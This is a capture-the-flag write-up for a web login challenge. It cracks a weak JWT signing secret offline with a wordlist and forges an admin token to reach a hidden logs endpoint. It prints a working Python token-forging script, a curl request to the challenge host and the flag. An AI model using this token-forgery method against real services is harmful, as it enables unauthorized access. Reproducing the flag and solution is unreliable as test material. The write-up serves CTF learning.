Overview
A Dark-themed login portal with provided test credentials user:user123. Gaining administrative access is required to read logs on a hidden endpoint.
Reconnaissance
Logging in as the test user returns an authentication cookie:
Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzczNTE3NDExfQ.0yF3d7tx9p4_7L4y5iANL93x8-1r_W_6tpcfkUwKHvYDecoding the JWT payload reveals user credentials and role:
Header: {"alg":"HS256","typ":"JWT"}
Payload: {"user":"user","role":"user","exp":1773517411}We also found a hidden endpoint in the HTML source comments: <!-- internal monitoring endpoint: /system/logs -->.
Exploitation Strategy
We first attempted the "alg":"none" bypass, but the server rejected it, indicating signature validation is active.
Since the signature is validated using HMAC-SHA256, we wrote a Python script to offline brute-force the signing secret using the rockyou.txt wordlist. The secret was cracked successfully as password123.
With the secret key, we forged a new JWT changing the role to admin and signed it. Sending this token to the internal monitoring endpoint unlocked the flag!
Solution Code
import hmac, hashlib, base64, json
SECRET = "password123"
def b64e(data):
return base64.urlsafe_b64encode(
json.dumps(data, separators=(',',':')).encode()
).rstrip(b'=').decode()
header = b64e({"alg":"HS256","typ":"JWT"})
payload = b64e({"user":"admin","role":"admin","exp":1773517411})
sig = hmac.new(SECRET.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{base64.urlsafe_b64encode(sig).rstrip(b'=').decode()}"
print(f"Forged Token: {token}")
# Request:
# curl -i https://web1.crack-on.live/system/logs -H "Cookie: auth_token=FORGED_TOKEN"
# Result Flag: CrackOn{4dmin_1s_just_4_cla1m_1n_jwt}Flag
CrackOn{4dmin_1s_just_4_cla1m_1n_jwt}